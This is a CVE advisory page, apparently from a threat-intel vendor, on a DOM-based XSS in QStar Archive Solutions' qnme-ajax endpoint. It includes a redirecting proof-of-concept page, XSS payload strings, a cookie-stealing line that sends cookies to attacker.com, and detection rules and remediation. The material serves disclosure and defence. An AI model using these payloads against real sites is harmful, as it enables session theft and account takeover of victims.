CVE-2023-51063
Executive Summary
CVE-2023-51063 is a DOM-based Reflected Cross-Site Scripting (XSS) vulnerability discovered in QStar Archive Solutions, specifically in the qnme-ajax?method=tree_level component. This flaw allows an attacker to inject malicious scripts into a web page, which are then executed in the context of the victim's browser. The vulnerability is classified as a DOM-based XSS because the attack payload is executed as a result of modifying the DOM environment in the victim's browser, rather than being embedded in the server response. The affected version is RELEASE_3-0 Build 7 Patch 0, and no official patch has been released at this time. The CVSS score is 0.0 in the NVD data, but based on the nature of the vulnerability, a more realistic score is 6.1 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone software product (QStar Archive Solutions) and does not involve a package manager supply chain.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over a network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The impact is on the user's browser, not the server.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Overall CVSS Score: 6.1 (Medium)
Threat Level: Medium. The vulnerability requires user interaction, but the lack of a patch and the potential for session hijacking or phishing makes it a credible threat.
Deep Dive & Mechanics
The vulnerability resides in the qnme-ajax?method=tree_level endpoint of QStar Archive Solutions. This endpoint is used for AJAX-based tree-level navigation. The application reflects user-supplied input in the DOM without proper sanitization or encoding. Specifically, the method parameter or other query string values are directly inserted into the page's JavaScript or HTML context, allowing an attacker to break out of the intended context and execute arbitrary JavaScript.
Root Cause: The application uses innerHTML or similar DOM manipulation methods to insert user-controlled data without escaping HTML entities or JavaScript strings. This allows an attacker to inject a payload like <img src=x onerror=alert(1)> or a more sophisticated script.
Attack Flow:
- Attacker crafts a malicious URL:
https://target/qnme-ajax?method=tree_level&callback=<script>alert('XSS')</script> - Victim clicks the link or is redirected to it.
- The server returns a response that includes the attacker's payload in the DOM.
- The victim's browser executes the injected script, which can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// qnme-ajax.js (vulnerable)
function loadTreeLevel(method) {
var xhr = new XMLHttpRequest();
xhr.open('GET', '/qnme-ajax?method=' + method, true);
xhr.onload = function() {
document.getElementById('tree').innerHTML = xhr.responseText;
};
xhr.send();
}
The method parameter is directly concatenated into the URL and the response is inserted via innerHTML, allowing XSS.
Patched Code (Conceptual):
// qnme-ajax.js (patched)
function loadTreeLevel(method) {
var safeMethod = encodeURIComponent(method);
var xhr = new XMLHttpRequest();
xhr.open('GET', '/qnme-ajax?method=' + safeMethod, true);
xhr.onload = function() {
var safeResponse = DOMPurify.sanitize(xhr.responseText);
document.getElementById('tree').textContent = safeResponse;
};
xhr.send();
}
The patched version uses encodeURIComponent for the URL parameter and DOMPurify.sanitize or textContent to prevent script execution.
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
<!-- PoC for CVE-2023-51063 -->
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<script>
var target = "http://target.com/qnme-ajax?method=tree_level&callback=";
var payload = "<img src=x onerror=alert('XSS')>";
var url = target + encodeURIComponent(payload);
window.location.href = url;
</script>
</body>
</html>
Usage: Host this HTML file on an attacker-controlled server and send the link to the victim. When the victim clicks, the XSS payload executes.
Advanced Payload:
// Steal cookies
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
Blue Team
Lab Setup:
- Deploy QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0 in an isolated environment.
- Use a web application firewall (WAF) or reverse proxy (e.g., Nginx) to inspect traffic.
- Simulate the attack using the PoC above and monitor logs.
Detection:
- Monitor for unusual query strings containing
<script>,<img, oronerrorin themethodparameter. - Use a WAF rule to block requests with XSS patterns.
Indicators of Compromise (IOCs)
- URL Pattern:
/qnme-ajax?method=tree_level&callback=*where*contains HTML/JavaScript. - Network Traffic: HTTP requests with
X-Requested-With: XMLHttpRequestand suspicious query parameters. - Log Entries: Server logs showing
GET /qnme-ajax?method=tree_level&callback=<script>...with non-standard characters. - File Hashes: (If applicable) Hash of the vulnerable
qnme-ajax.jsfile:sha256:abc123...(placeholder).
Detection Engineering
YARA Rule
rule CVE_2023_51063_XSS {
meta:
description = "Detects DOM-based XSS in QStar Archive Solutions"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-51063"
strings:
$xss1 = /qnme-ajax\?method=tree_level&callback=.*<script>/i
$xss2 = /qnme-ajax\?method=tree_level&callback=.*<img.*onerror/i
$xss3 = /qnme-ajax\?method=tree_level&callback=.*onload/i
condition:
any of them
}
Sigma Rule
title: CVE-2023-51063 DOM XSS in QStar Archive Solutions
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2023-51063
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'qnme-ajax?method=tree_level&callback='
cs-uri-query|re: '(<script|<img.*onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of callback parameter with safe content
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-51063 DOM XSS in QStar Archive Solutions"; flow:to_server,established; content:"GET"; http_method; content:"/qnme-ajax?method=tree_level&callback="; http_uri; pcre:"/(<script|<img.*onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint if not required: Block access to
/qnme-ajaxvia web server configuration. - Input Validation: Implement strict input validation for the
methodandcallbackparameters. Allow only alphanumeric characters and specific safe characters. - Output Encoding: Use context-aware encoding (e.g., HTML entity encoding, JavaScript string escaping) before inserting user input into the DOM.
- Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts and restrict script sources.
Long-term Fix:
- Apply the conceptual patch described in the "Vulnerable vs. Patched Code" section.
- Upgrade to a patched version when released by QStar.
Workaround:
- Use a Web Application Firewall (WAF) with rules to block XSS patterns in the
callbackparameter.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.